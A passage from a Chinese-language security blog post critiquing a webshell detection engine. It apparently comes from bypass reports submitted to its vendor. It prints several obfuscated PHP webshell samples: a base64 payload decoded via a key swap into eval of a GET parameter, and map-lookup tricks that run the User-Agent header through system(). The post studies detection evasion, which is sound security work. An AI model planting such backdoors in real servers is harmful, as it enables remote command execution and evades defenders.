\u4e86\uff0c\u6bd5\u7adf\u5f15\u64ce\u786e\u5b9e\u5728\u67d0\u79cd\u7a0b\u5ea6\u4e0a\u65e0\u6cd5\u9884\u6d4b\u89e3\u7801\u540e\u7684\u7ed3\u679c<\/p>\n\n\n\nfunction exeec($key)\n{\n $fileurl = 'QGV2YWwoJF9HRVRbJ2NtZC33KTs=';\n $fileurl = strtr($fileurl, $key, 'd');\n $code = base64_decode($fileurl);\n @eval($code);\n}\nexeec($count);<\/code><\/pre>\n\n\n\n\u5bf9\u4e8e map \u53d6\u503c\u7c7b\u7684\u6837\u672c\uff0c\u867d\u7136\u770b\u8d77\u6765\u5b83\u5f88\u7b80\u5355\uff0c\u6709\u51e0\u4e2a\u660e\u663e\u7684\u6076\u610f\u7279\u5f81\uff0c\u6bd4\u5982\u5b57\u7b26\u4e32\u62fc\u63a5\uff0c\u6bd4\u5982 $map \u91cc\u51fa\u73b0\u4e86\u6076\u610f\u5b57\u7b26 e<\/code>\uff0c\u867d\u7136\u6c99\u7bb1\u7684\u6267\u884c\u4e0d\u80fd\u5f97\u5230\u6b63\u786e\u7684\u5206\u6790\u7ed3\u679c\uff0c\u4f46\u4ece\u6a21\u62df\u63a8\u7406<\/strong>\u7684\u89d2\u5ea6\uff0c\u786e\u5b9e\u5f53\u5b58\u5728\u53d6\u5230 e<\/code> \u65f6\u662f webshell\uff0c\u90a3\u5c31\u8be5\u62a5\u6bd2\uff1a<\/p>\n\n\n\n$map = [\n '0' => 'b',\n '1' => 'e',\n];\n$n = $map[$k];\n$a = \"syst\" . $n . \"m\";\n$b = \"g\" . $n . \"tenv\";\n$a($b('HTTP_USER_AGENT'));<\/code><\/pre>\n\n\n\n\u4f46\u5982\u679c\u518d\u628a\u5b83\u53d8\u4e00\u4e0b\u5462\uff0c\u53d8\u6210\u4e0b\u9762\u8fd9\u6837\uff1a<\/p>\n\n\n\n
$map = [\n '0' => 'system',\n '1' => 'getenv',\n '2' => 'cccc',\n '3' => 'ddd',\n ....... \/\/\u5047\u8bbe\u6709\u4e00\u767e\u4e07\u4e2a\n];\n$map[$k1]($map[$k2]('HTTP_USER_AGENT'));<\/code><\/pre>\n\n\n\n\u9996\u5148 map \u53d6\u503c\u662f\u4e00\u4e2a\u5f88\u6b63\u5e38\u7684\u64cd\u4f5c\uff0c\u5f00\u53d1\u91cc\u7ecf\u5e38\u6709\uff0c\u4e0d\u53ef\u80fd\u76f4\u63a5\u6807\u6ce8\uff0c\u4f46\u5982\u679c\u8fd9\u91cc map \u7684\u5185\u5bb9\u975e\u5e38\u591a\uff0c\u6709\u4e00\u767e\u4e07\u4e2a\uff0c\u4f60\u6a21\u62df\u6267\u884c\u7684\u4ee3\u4ef7\u4e5f\u592a\u5927\u4e86\uff0c\u66f4\u4f55\u51b5\u6bcf\u591a\u4e00\u4e2a\u5dee\u5f02\u91cf\u63a8\u7406\u7684\u6570\u91cf\u7ea7\u8fd8\u4f1a\u4e0a\u4e00\u4e2a\u53f0\u9636\uff0c\u5bf9\u6240\u6709\u53ef\u80fd\u90fd\u505a\u63a8\u7406\u662f\u4e0d\u5207\u5b9e\u9645\uff0c\u66f4\u4f55\u51b5\u901a\u8fc7\u5dee\u5f02\u91cf\uff0c\u7cfb\u7edf\u662f\u80fd\u7a33\u5b9a\u5206\u6790\u7684\uff0c\u5bf9\u4e8e\u5f15\u64ce\u800c\u8a00\u8fd9\u4e2a $k1 \u548c $k2 \u600e\u4e48\u770b\u90fd\u662f\u4e00\u4e2a\u5b83\u80fd\u6709\u660e\u786e\u5206\u6790\u7ed3\u679c\u7684\u56fa\u5b9a\u503c\uff0c\u8fd9\u660e\u660e\u5c31\u662f\u4e00\u4e2a\u5b89\u5168\u7684\u6837\u672c\uff0c\u76f4\u63a5\u515c\u5e95\u89e6\u53d1\u62a5\u6bd2\u903b\u8f91\u4e5f\u5f88\u5947\u602a <\/p>\n\n\n\n
\u6211\u8ba4\u4e3a\u4f0f\u9b54\u53e6\u4e00\u4e2a\u5f88\u5927\u7684\u95ee\u9898\u5c31\u662f\uff0c\u660e\u660e\u5b83\u6807\u699c\u81ea\u5df1\u662f LLM + \u6c61\u70b9\u5206\u6790\uff0c\u4f46\u662f\u4f3c\u4e4e\u5b8c\u5168\u6ca1\u7528\u4e0a LLM \uff0c\u8fc7\u4e8e\u7684\u76f8\u4fe1\u6c99\u7bb1\u6a21\u62df\u6267\u884c\u7684\u6548\u679c\uff0c\u5176\u5b9e\u4e0a\u9762\u5f88\u591a\u7684\u7ed5\u8fc7\u6837\u672c\u5305\u62ec\u8fc7\u53bb\u7684\u5f88\u591a\u6837\u672c\uff0c\u4f60\u6254\u7ed9\u73b0\u5728\u6bd4\u8f83\u5148\u8fdb\u7684\u5927\u6a21\u578b\u6bd4\u5982gemini\uff0c\u5b83\u4eec\u90fd\u662f\u80fd\u8bc6\u522b\u51fa\u6765\u7684\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u5982\u679c\u4f0f\u9b54\u6539\u8fdb\u5bf9\u4e8e LLM \u7684\u652f\u6301\uff0c\u6bd4\u5982\u5148\u8ba9 LLM \u505a\u4e00\u6b21\u5206\u6790\uff0c\u95ee\u5b83\u8fd9\u662f\u4e0d\u662f\u4e00\u4e2a webshell\uff0c\u5982\u679c\u662f\uff0c\u600e\u4e48\u89e6\u53d1\u3001\u4ec0\u4e48\u65f6\u5019\u89e6\u53d1\uff0c\u7136\u540e\u7528\u5bf9\u5e94\u7684\u6a21\u62df\u73af\u5883\u8fdb\u884c\u9a8c\u8bc1\uff0c\u68c0\u6d4b\u7684\u6548\u679c\u8981\u597d\u7684\u591a\uff0c\u5982\u679c LLM \u8bc6\u522b\u4e0d\u51fa\u6765\uff0c\u518d\u7528\u4f0f\u9b54\u505a\u515c\u5e95\uff0c\u901a\u8fc7\u963f\u91cc\u4e91\u56e2\u961f\u8fc7\u53bb\u8fd9\u4e48\u591a\u5e74\u6765\u5728 webshell \u68c0\u6d4b\u4e0a\u6c89\u6dc0\u51fa\u6765\u7684\u8bc6\u522b\u80fd\u529b\u505a\u8f85\u52a9\uff0c\u4ee5 LLM \u4e3a\u4e3b\uff0c\u800c\u4e0d\u662f\u4ee5\u4f0f\u9b54\u5f15\u64ce\u4e3a\u4e3b\uff0c\u5bf9\u6297\u548c\u7ed5\u8fc7\u7684\u96be\u5ea6\u90fd\u4f1a\u4e0a\u4e00\u4e2a\u53f0\u9636(*^_^*)<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
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![\"\"](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_2026-01-30_205322_208-30-1.jpg\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/QQ20260130-215123-30-1.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/flaw_detail_upload_url_1a53cb16-8e2d-4999-8abb-faf93ccc8487-30-2.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/flaw_detail_upload_url_a5ad8d11-1c1f-47fd-9d4c-6e2b6bb3e4f0-30-3.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/flaw_detail_upload_url_cdf4c402-c44e-4c88-a36c-573968980824-30-4.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/QQ20260131-144542-31-1.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/flaw_detail_upload_url_2d77d818-e0e7-48c2-bae8-25d5f4798249-31-2.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/flaw_detail_upload_url_12dc7f93-104a-49c7-b0bb-36cc765e165a-31-3.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/flaw_detail_upload_url_1fef5089-e4d9-4005-a189-1de7f184e413-31-6.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/flaw_detail_upload_url_63699261-4c1e-4a95-a7fa-4e363ccc2294.-31-4png.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/flaw_detail_upload_url_51a26c2b-6e8e-49d7-ba15-e5ec990e3589-31-5.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/flaw_detail_upload_url_7f509d4b-6881-417f-b267-9017a1f1489c-31-6.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/flaw_detail_upload_url_70379899-6a19-4a0a-9047-992a687c386b-31-10.png\")
<\/div><\/figure>\n\n\n\n![\"\"](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/01\/QQ20260131-160449-31-2.png\")
<\/div><\/figure>\n\n\n\n